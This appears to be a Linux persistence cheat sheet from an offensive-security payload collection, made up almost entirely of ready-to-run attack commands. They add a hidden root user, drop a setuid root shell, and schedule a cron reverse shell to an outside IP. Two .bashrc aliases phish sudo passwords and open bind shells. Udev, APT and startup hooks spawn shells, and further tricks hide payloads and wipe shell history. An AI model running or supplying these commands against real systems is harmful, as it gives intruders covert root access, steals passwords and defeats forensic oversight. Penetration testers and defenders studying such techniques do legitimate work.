Linux - Persistence

Summary

Basic reverse shell

```
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
```

Add a root user

```
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
```

Suid Binary

```
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
```

Crontab - Reverse shell

```
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab
2> /dev/null
```

Backdooring a user's bash_rc

(FR/EN Version)

```
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
  alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale
= "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale  = "fr" ];
then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo;
echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null &&
/usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
    cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
    cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2
```

or add the following line inside its .bashrc file.

```
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
```

and create the `fakesudo` script.

```
read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt

/usr/bin/sudo $@
```

Backdooring a startup service

```
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
```

Backdooring a user startup file

Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop`

```
In : ~/.config/autostart/*.desktop
```

```
[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false
```

Backdooring a driver

```
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
```

Backdooring the APT

If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};` Next time "apt-get update" is done, your CMD will be executed!

```
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```

Backdooring the SSH

Add an ssh key into the `~/.ssh` folder.

1. `ssh-keygen`
2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys

Tips

Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.

```
#␛[2J␛[2J␛[2J␛[2H␛[2A# Do not remove. Generated from /etc/issue.conf by configure.
```

Hide in plain sight using zero width spaces in filename.

```
touch $(echo -n 'index\u200D.php') index.php
```

Clear the last line of the history.

```
history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null
```

Clear history

```
[SPACE] ANY COMMAND
or
export HISTSIZE=0
export HISTFILESIZE=0
unset HISTFILE; CTRL-D
or
kill -9 $$
or
echo "" > ~/.bash_history
or
rm ~/.bash_history -rf
or
history -c
or
ln /dev/null ~/.bash_history -sf
```

The following directories are temporary and usually writeable

```
/var/tmp/
/tmp/
/dev/shm/
```

Additional Persistence Options

- SSH Authorized Keys
- Compromise Client Software Binary
- Create Account
- Create Account: Local Account
- Create or Modify System Process
- Create or Modify System Process: Systemd Service
- Event Triggered Execution: Trap
- Event Triggered Execution
- Event Triggered Execution: .bash_profile and .bashrc
- External Remote Services
- Hijack Execution Flow
- Hijack Execution Flow: LD_PRELOAD
- Pre-OS Boot
- Pre-OS Boot: Bootkit
- Scheduled Task/Job
- Scheduled Task/Job: At (Linux)
- Scheduled Task/Job: Cron
- Server Software Component
- Server Software Component: SQL Stored Procedures
- Server Software Component: Transport Agent
- Server Software Component: Web Shell
- Traffic Signaling
- Traffic Signaling: Port Knocking

- Valid Accounts: Default Accounts
- Valid Accounts: Domain Accounts 2

References

- @RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289
- https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/
- http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html
- http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/
- Pouki from JDI